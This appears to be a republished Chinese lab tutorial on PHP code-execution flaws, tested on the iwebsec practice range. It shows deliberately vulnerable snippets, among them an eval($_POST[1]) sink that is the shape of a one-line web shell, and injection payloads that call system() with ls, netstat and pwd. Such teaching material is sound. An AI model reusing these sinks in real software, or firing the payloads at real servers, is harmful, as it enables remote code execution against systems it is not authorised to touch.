Web安全:代码执行漏洞 测试.

news2024/12/27 18:27:35

Web安全:代码执行漏洞 测试

攻击者可以通过构造恶意输入来欺骗应用程序执行恶意代码。这种漏洞通常出现在应用程序中使用动态语言(如 PHP、Python、Ruby 等)编写的代码中,因为这些语言允许在运行时动态执行代码。攻击者可以通过构造特定的输入来欺骗应用程序执行恶意代码,例如在输入中注入恶意代码、利用应用程序中的漏洞绕过输入验证等.


目录:

Web安全:代码执行漏洞 测试

代码执行漏洞几种常见 函数:

代码执行漏洞 测试:

(1)eval 函数

(2)assert 函数

(3)call_user_func 函数

(4)call_user_func_array 函数.

(5)create_function 函数.

(6)array_map 函数

(7)preg_replace 函数无漏洞

(8)preg_replace 函数有漏洞

(9)可变 函数 漏洞.


代码执行漏洞几种常见 函数:

(1)eval 函数

(2)assert 函数

(3)call_user_func 函数

(4)call_user_func_array 函数

(5)create_function 函数

(6)array_map 函数

(7)preg_replace 漏洞

(8)可变 函数漏洞

测试使用的是 iwebsec 靶场.

靶场搭建:https://tianyuk.blog.csdn.net/article/details/130341391

代码执行漏洞 测试:

(1)eval 函数

代码审计:

<?php
	if(isset($_POST[1])){            //在 post 请求中有1,那执行的参数就是1
		@eval($_POST[1]);
	}else{
		exit();
	}
?>
测试的代码.

1=phpinfo();


(2)assert 函数

代码审计:

<?php
	if(isset($_POST[1])){           //在 post 请求中有1,那执行的参数就是 1
		@assert($_POST[1]);
	}else{
		exit();
	}
?>
evel() 函数 和 assert() 函数,都是可以把字符串转化为 php 代码进行执行.
测试的代码.

1=phpinfo();


(3)call_user_func 函数

代码审计:

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
(1)call_user_func()函数 第一个参数是函数,第二个参数是调用的参数.

(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.

fun=system&arg=ls                // ls 是查看这个目录的文件.


(4)call_user_func_array 函数.

代码审计:

<?php
	if(isset($_POST['fun'])||isset($_POST['arg'])){
		call_user_func_array($_POST['fun'], $_POST['arg']);
	}else{
		exit();
	}
?>
(1)call_user_func_arra()函数 第一个参数是函数,第二个参数是调用的参数.

(2)fun= 系统执行的函数,arg= 系统执行的命令.
测试的代码.

fun=system&arg=netstat -a               // netstat -a 是查看端口的信息.


(5)create_function 函数.

代码审计:

<?php
	if(isset($_GET['id'])){
		$id = $_GET['id'];
		$code = 'echo '.$func.'test'.$id.';';
		create_function('$func',$code);
	}else{
		exit();
	}
?>
create_function()函数,func 是构造函数,code 是构造代码执行.
?id=1;}phpinfo();/*                //测试的代码.(要想做别的测试,改phpinfo()就行)

测试的原理是,将函数进行闭合{echo $id;}再去执行phpinfo()函数.


(6)array_map 函数

代码审计:

<?php
	if(isset($_GET['func'])||isset($_GET['argv'])){
		$func=$_GET['func'];
		$argv=$_GET['argv'];
		$array[0]=$argv;
		array_map($func,$array);
	}else{
		exit();
	}
?>
(1)array_map() 是把用户自定义函数作用到数组中的每个数值上,然后再返回给自定义函数作用后带有新值的数组.

(2)参数数目要和传递给 array_map() 函数的数组数目一致的.
测试的代码.

?func=system&argv=pwd                // pwd 查看当前文件的位置.


(7)preg_replace 函数无漏洞

代码审计:

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>

深入研究preg_replace与代码执行:

https://xz.aliyun.com/t/2557#toc-3


(8)preg_replace 函数有漏洞

代码审计:

<?php
	if(isset($_GET["name"])){
	   $subject= 'hello hack';
	   $pattern = '/hack/e';
	   $replacement = $_GET["name"];
	   echo preg_replace($pattern, $replacement, $subject);
	}else{
		exit();
	}
?>
preg_replace 函数执行一个正则表达式的搜索和替换.

preg_replace 函数使用 /e 模式,导致代码执行的问题,而且该函数的第一个和第三个参数都是我们可以控制的。
​测试的代码.

?name=phpinfo()     


(9)可变 函数 漏洞.

代码审计:

<?php
	if(isset($_REQUEST['func'])){
		function func1() {
			echo "func1函数";
		}
		function func2($arg = '') {
			echo "func2函数";
		}
		function func3($arg){
			echo "func3函数的参数是".$arg;
		}
		$func = $_REQUEST['func'];
		$arg = $_REQUEST['arg'];
		echo $func($arg);
	}else{
		exit();
	}
?>
PHP 支持可变函数,如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,然后尝试执行它。可变函数可以用来实现包括回调函数.
​测试的代码.

?func=system&arg=ls                // ls 是查看这个目录的文件.

     

     

      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/571813.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

分布式事务的21种武器 - 5

在分布式系统中&#xff0c;事务的处理分布在不同组件、服务中&#xff0c;因此分布式事务的ACID保障面临着一些特殊难点。本系列文章介绍了21种分布式事务设计模式&#xff0c;并分析其实现原理和优缺点&#xff0c;在面对具体分布式事务问题时&#xff0c;可以选择合适的模式…

经典组件知识(zookeeper,kafka,ngix)

关于zookeeper的具体介绍 优化的点可以在于zookeeper吗&#xff1f; 如何安装使用&#xff1f; #include <zookeeper/zookeeper.h> 1、先配置java环境JDK&#xff0c;因为需要用java编译&#xff1b; 2、下载zk源码&#xff0c;解压&#xff1b; 3、重命名配置文件zoo_sa…

5000 字手把手实战|Kubernetes+极狐GitLab CI,获得极致 CI/CD 体验

目录 极狐GitLab CI K8s 架构解析 极狐GitLab CI 流程图 流程详解 极狐GitLab CI K8s 架构优点 开启极狐GitLab CI K8s 实战 环境准备 记录注册信息 获取极狐GitLab Runner 绑定 docker.sock 配置缓存 安装极狐GitLab Runner 集成 CI 定义文件 注意事项 配置…

Python实战基础11-函数

1 函数的创建于调用 1.1 创建一个函数 创建函数也称为定义函数&#xff0c;定义函数的格式如下&#xff1a; def functionname([parameterlist]): [comments] [functionbody] 参数说明&#xff1a; functionname&#xff1a;函数名称&#xff0c;在调用函数时使用。 paramete…

用echarts绘制的柱状图、折柱结合图,源码文末免费拿!

文章目录 Apache EchartsNPM 安装 ECharts在线定制 ECharts使用 Echarts 绘制基础柱状图绘制带背景的柱状图绘制带背景的柱状图绘制多条柱状图绘制条形柱状图绘制带标记的柱状图绘制折线图和柱状图绘制多轴折线图和柱状图源码地址 Apache Echarts 本文中的所有代码&#xff0c…

剑指offer(C++)-JZ46:把数字翻译成字符串(算法-动态规划)

作者&#xff1a;翟天保Steven 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 题目描述&#xff1a; 有一种将字母编码成数字的方式&#xff1a;a->1, b->2, ... , z->26。 现在给一串数字&#xf…

如何在Angular应用程序中插入自定义 CSS?这里有答案!

Kendo UI for Angular是专用于Angular开发的专业级Angular组件&#xff0c;telerik致力于提供纯粹的高性能Angular UI组件&#xff0c;无需任何jQuery依赖关系。 Kendo UI R1 2023正式版下载(Q技术交流&#xff1a;726377843&#xff09; 为什么需要在 Angular 应用程序中插入…

兼容性测试点和注意项,建议收藏

一&#xff1a;兼容性测试的概念&#xff1a;就是验证开发出来的程序在特定的运行环境中与特定的软件、硬件或数据相组合是否能正常运行、有无异常的测试过程。 二&#xff1a;兼容性测试的分类&#xff1a; &#xff08;1&#xff09;浏览器兼容性测试 指的是在浏览器上检查…

航空公司预订票数学建模论文

航空公司预订票数学建模论文篇1 试谈机票订票模型与求解 一、概述 1. 问题背景描述 在激烈的市场竞争中&#xff0c;航空公司为争取更多的客源而开展的一个优质服务项目是预订票业务,本模型针对预订票业务&#xff0c;建立二元规划订票方案&#xff0c;既考虑航空公司的利润最大…

form-create和form-create-designer创建自定义组件

在项目中&#xff0c;我需要使用表单设计器form-create-designer设计带有选择用户的弹窗组件&#xff0c;而设计器内置的组件不能满足需求&#xff0c;因此要创建自定义组件。form-create 支持在表单内部生成任何 vue 组件。 1.开发选择用户的组件 SelectUser.vue <!--用户…

论文《Diagnostic accuracy of CT imaging parameters in pelvic lipomatosis》案例分析

一、引言 在该篇文章的引言部分&#xff0c;作者明确阐述了本篇论文的研究目的、问题和方法&#xff0c;并指出了研究的贡献和创新点。以下是具体内容&#xff1a; 研究目的&#xff1a;本研究的目的是评估盆腔脂肪肥大的CT成像特征&#xff0c;并探讨其在诊断和管理中的应用…

Java程序设计入门教程--包

情形 在Java中&#xff0c;包(package)是一种松散的类的集合&#xff0c;它可以将各种类文件组织在一起&#xff0c;就像磁盘的目录&#xff08;文件夹&#xff09;一样。包的管理机制提供了类的多层次命名空间避免了命名冲突问题&#xff0c;解决了类文件的组织问题&#xff0…

Midjourney AI绘画中文教程(完整版)

我有一种预感&#xff0c;这篇内容一定会破万~~~ Midjourney AI绘画中文教程&#xff0c;Midjourney是一款2022年3月面世的AI绘画工具&#xff0c;创始人是David Holz。 只要输入想到的文字&#xff0c;就能通过人工智能产出相对应的图片&#xff0c;耗时只有大约一分钟&…

Linux Shell 实现部署单机Oracle 21C

oracle前言 Oracle开发的关系数据库产品因性能卓越而闻名&#xff0c;Oracle数据库产品为财富排行榜上的前1000家公司所采用&#xff0c;许多大型网站也选用了Oracle系统&#xff0c;是世界最好的数据库产品。此外&#xff0c;Oracle公司还开发其他应用程序和软件。同时&#…

《Spring Guides系列学习》guide1 - guide5

要想全面快速学习Spring的内容&#xff0c;最好的方法肯定是先去Spring官网去查阅文档&#xff0c;在Spring官网中找到了适合新手了解的官网Guides&#xff0c;一共68篇&#xff0c;打算全部过一遍&#xff0c;能尽量全面的了解Spring框架的每个特性和功能。 开始吧&#xff0…

UDP就一定比TCP快吗?

前言 话说&#xff0c;UDP比TCP快吗&#xff1f; 相信就算不是八股文老手&#xff0c;也会下意识的脱口而出&#xff1a;”是“。 但这也让人好奇&#xff0c;用UDP就一定比用TCP快吗&#xff1f;什么情况下用UDP会比用TCP慢&#xff1f; 我们今天就来聊下这个话题。 使用…

关于使用--- pyinstaller---无法打包py文件为exe的问题集合

目录 安装 pyinstaller 问题1&#xff1a; 解决办法&#xff1a; CMD中输入 问题2&#xff1a; 解决办法&#xff1a; CMD中输入 问题3&#xff1a; 将py文件打包成exe中&#xff0c;需要按照如下在CMD中输入 PyInstaller介绍 PyInstaller是一个Python库&#xff0c;可以…

智慧档案馆八防是怎么建设的?都需要注意哪些内容

智慧档案馆八防环境监控系统一体化解决系统方案 智慧档案库房一体化平台通过智慧档案管理&#xff0c;实现智慧档案感知协同处置功能&#xff1b;实现对档案实体的智能化识别、定位、跟踪监控&#xff1b;实现对档案至智能密集架、空气恒湿净化一体设备、安防设备&#xff0c…

基于java用队列实现栈

基于java用队列实现栈 问题描述 请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 实现 MyStack 类&#xff1a; void push(int x) 将元素 x 压入栈顶。 int …

C++第六章:函数

函数 一、函数基础1.0 简介形参和实参形参列表函数的返回类型 1.1 局部对象自动对象局部静态对象 1.2 函数声明在头文件中进行函数声明 1.3 分离式编译编译和链接多个源文件 二、参数传递2.1 传值参数指针形参 2.2 传引用参数使用形参返回额外信息 2.3 const形参和实参指针或引…